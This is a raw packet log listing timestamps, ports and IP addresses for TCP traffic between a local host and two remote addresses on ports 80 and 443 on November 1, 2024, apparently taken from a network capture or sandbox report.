Nov 1, 2024 03:46:29.964842081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.964854002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.964864969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.964911938 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.964941025 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.964945078 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.964952946 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.964982033 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.964993000 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.965028048 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965040922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965071917 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.965617895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965636015 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965647936 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965662956 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.965691090 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.965964079 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.965996981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.966007948 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.966011047 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.966037035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.966048956 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.966149092 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.966161013 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.966192007 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.051877975 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.051888943 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.051942110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.051965952 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.081815958 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.081868887 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.081877947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.081881046 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.081907988 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.081926107 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082032919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082045078 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082056046 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082083941 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082118034 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082242012 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082285881 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082295895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082304955 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082345963 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082562923 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082606077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082611084 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082623005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082652092 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082662106 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.082683086 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.082735062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.083070040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.083113909 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.083137989 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.083177090 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.161391020 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.161417007 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:30.161514044 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.162568092 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.162580013 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:30.168554068 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.168566942 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.168618917 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.198971033 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199029922 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199120998 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199132919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199162960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199193001 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199274063 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199285984 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199304104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199309111 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199330091 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199340105 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199525118 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199537039 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199548006 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199570894 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199599981 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199656963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199707031 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199843884 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199856043 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.199876070 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.199898958 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.200377941 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.200388908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.200400114 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.200417042 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.200427055 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.285351038 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.285363913 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.285407066 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.315304995 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.315335035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.315346956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.315357924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.315382957 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.315447092 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.315485954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.315499067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.315530062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.316612005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.316658020 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.316793919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.316806078 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.316840887 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.316940069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.316973925 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317296028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317356110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317491055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317502022 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317512989 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317544937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317567110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317718983 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317770958 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317940950 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317954063 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.317982912 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.317996025 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.318079948 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.318121910 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.402297020 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.402317047 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.402345896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.402367115 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432188034 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432214022 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432229042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432245970 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432276011 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432338953 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432369947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432369947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432394981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432405949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432434082 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432631016 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432670116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432754993 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432765961 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432792902 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432805061 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.432955980 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.432998896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433028936 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433039904 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433065891 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433078051 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433116913 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433151960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433568954 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433607101 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433641911 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433676958 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433763981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433801889 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433815002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433825970 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433852911 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433860064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.433909893 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.433948040 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.518964052 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.519016981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.519052029 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.519078970 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549024105 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549046040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549056053 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549073935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549073935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549086094 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549101114 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549145937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549180031 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549191952 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549215078 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549232960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549608946 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549645901 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549669981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549714088 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549721003 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549753904 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549783945 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549794912 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549819946 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549837112 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549880028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549890041 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.549913883 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.549926996 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.550389051 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.550399065 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.550410986 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.550431967 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.550442934 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.550457001 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.550484896 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.550497055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.550522089 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.550538063 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.641238928 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.641290903 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.641405106 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.641443014 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.665822029 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.665832043 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.665843010 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.665891886 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.665891886 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.665915966 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.665927887 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.665981054 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.665981054 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666033983 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666045904 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666105986 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666105986 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666409969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666419029 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666465044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666527033 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666600943 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666604042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666615963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666642904 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666690111 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666702986 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666713953 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.666769981 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.666769981 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667084932 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667138100 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667145967 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667157888 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667253017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667258024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667258024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667263985 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667284966 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667315960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667646885 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667687893 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.667694092 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.667736053 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.752895117 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.752909899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.753115892 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.782644987 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782665014 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782676935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782754898 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.782793045 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.782886028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782903910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782932043 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782937050 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.782948971 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.782963991 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783015013 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783015013 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783020020 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783031940 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783086061 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783086061 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783127069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783138990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783229113 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783229113 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783438921 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783497095 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783533096 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783544064 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783590078 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783616066 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783627987 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.783654928 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783680916 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.783992052 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.784087896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.784090042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.784101009 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.784130096 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.784149885 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.802015066 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:30.802128077 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.869687080 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.869703054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.869752884 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.869851112 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.889261007 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.889281988 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:30.889617920 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:30.899420023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899430990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899523973 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899540901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899542093 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.899554968 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899565935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899602890 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.899602890 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.899838924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899856091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.899897099 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.899947882 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900013924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900027037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900037050 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900067091 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900170088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900393009 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900410891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900423050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900459051 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900459051 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900471926 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900727987 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900738955 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900752068 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900825977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900837898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.900847912 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900847912 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.900873899 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.901247025 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.901259899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.901271105 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.901298046 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.901336908 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:30.945554018 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:30.986855030 CET	80	58536	185.215.113.16	192.168.2.6
